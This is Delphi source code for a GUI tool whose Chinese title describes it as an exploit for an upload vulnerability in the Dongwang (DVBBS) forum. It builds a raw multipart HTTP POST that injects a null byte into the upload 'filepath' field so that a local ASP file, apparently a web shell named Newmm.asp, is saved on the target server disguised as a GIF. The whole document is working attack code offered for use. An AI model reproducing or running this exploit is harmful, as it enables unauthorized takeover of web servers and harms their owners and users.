动网上传漏洞利用工具Gui版(Delphi)
unit MainUnit;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, ScktComp, ExtCtrls;
type
TMainForm = class(TForm)
HostET: TEdit;
PortET: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
CFileNameET: TEdit;
SendDataBT: TSpeedButton;
PostPageET: TEdit;
Label5: TLabel;
ClientSocket: TClientSocket;
ServerInfo: TMemo;
Image1: TImage;
procedure SendDataBTClick(Sender: TObject);
procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
procedure ClientSocketConnect(Sender: TObject;
Socket: TCustomWinSocket);
private
Function CreateShellCode : String;
Function GetFileMemo: String;
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
Var
SendData : String;
{$R *.dfm}
Function TMainForm.GetFileMemo: String;
Var
FMemo : TStringList;
Begin
FMemo := TStringList.Create;
FMemo.LoadFromFile(extractfilepath(ParamStr(0))+'Newmm.asp');
Result := FMemo.Text;
FMemo.Free;
End;
Function TMainForm.CreateShellCode : String;
Begin
Result :='-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="filepath"'+#13#10;
Result :=Result + #13#10;
Result :=Result + 'uploadFace/'+Trim(CFileNameET.Text)+#0#13#10;
Result :=Result + '-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="act"'+#13#10;
Result :=Result + #13#10;
Result :=Result + 'upload'+#13#10;
Result :=Result + '-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="file1"; filename="D:\Newmm.gif"'+#13#10;
Result :=Result + 'Content-Type: text/plain'+#13#10;
Result :=Result + #13#10;
Result :=Result + GetFileMemo+#13#10;
Result :=Result + '-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="fname"'+#13#10;
Result :=Result + #13#10;
Result :=Result + 'D:\Newmm.gif'+#13#10;
Result :=Result + '-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="Submit"'+#13#10;
Result :=Result + #13#10;
Result :=Result + '上传'+#13#10;
Result :=Result + '-----------------------------7d22f8371b051c--'+#13#10;
End;
procedure TMainForm.SendDataBTClick(Sender: TObject);
Var
ShellCode : String;
PostPage : String;
begin
ClientSocket.Close;
ClientSocket.Host := Trim(HostET.Text);
ClientSocket.Port := StrToIntDef(PortET.Text,80);
PostPage := Trim(PostPageET.Text);
ShellCode := CreateShellCode;
SendData := 'POST '+PostPage+' HTTP/1.1'+#13#10;
SendData := SendData+'Content-Type: multipart/form-data; boundary=---------------------------7d231d312a02e4'+#13#10;
SendData := SendData+'Host: '+Trim(HostET.Text)+#13#10;
SendData := SendData+'Content-Length: ' + IntToStr(length(shellcode)) + #13#10;
SendData := SendData+#13#10;
SendData := SendData+ShellCode + #13#10;
ClientSocket.Open;
end;
procedure TMainForm.ClientSocketRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
ServerInfo.Text := Socket.ReceiveText;
end;
procedure TMainForm.ClientSocketConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Socket.SendText(SendData);
end;
end.